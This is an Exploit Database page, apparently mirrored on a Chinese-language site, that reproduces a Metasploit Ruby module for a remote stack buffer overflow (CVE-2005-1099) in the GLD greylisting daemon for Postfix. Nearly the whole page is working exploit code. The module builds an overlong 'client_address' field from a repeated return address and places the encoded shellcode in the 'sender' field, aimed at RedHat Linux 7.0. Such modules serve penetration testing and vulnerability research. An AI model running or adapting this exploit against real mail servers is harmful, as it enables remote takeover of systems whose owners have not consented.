Salim Gasmi GLD (Greylisting Daemon) – Postfix Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16841/

• ##
  # $Id: gld_postfix.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  	class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
  			'Description'	=> %q{
  				This module exploits a stack buffer overflow in the Salim Gasmi
  				GLD <= 1.4 greylisting daemon for Postfix. By sending an
  				overly long string the stack can be overwritten.
  			},
  			'Version'	=> '$Revision: 9669 $',
  			'Author'	=> [ 'patrick' ],
  			'Arch'		=> ARCH_X86,
  			'Platform'	=> 'linux',
  			'References'	=>
  				[
  					[ 'CVE', '2005-1099' ],
  					[ 'OSVDB', '15492' ],
  					[ 'BID', '13129' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/934' ],
  				],
  			'Privileged'	=> true,
  			'License'	=> MSF_LICENSE,
  			'Payload'	=>
  				{
  					'Space' => 1000,
  					'BadChars' => "\x00\x0a\x0d\x20=",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'	=>
  				[
  					[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
  				],
  			'DefaultTarget'	=> 0,
  			'DisclosureDate'=> 'Apr 12 2005'
  		))
  
  		register_options(
  			[
  				Opt::RPORT(2525)
  			],
  			self.class
  		)
  	end
  
  	def exploit
  		connect
  
  		sploit = "sender="+ payload.encoded + "\r\n"
  		sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"
  
  		sock.put(sploit)
  		handler
  		disconnect
  
  	end
  
  end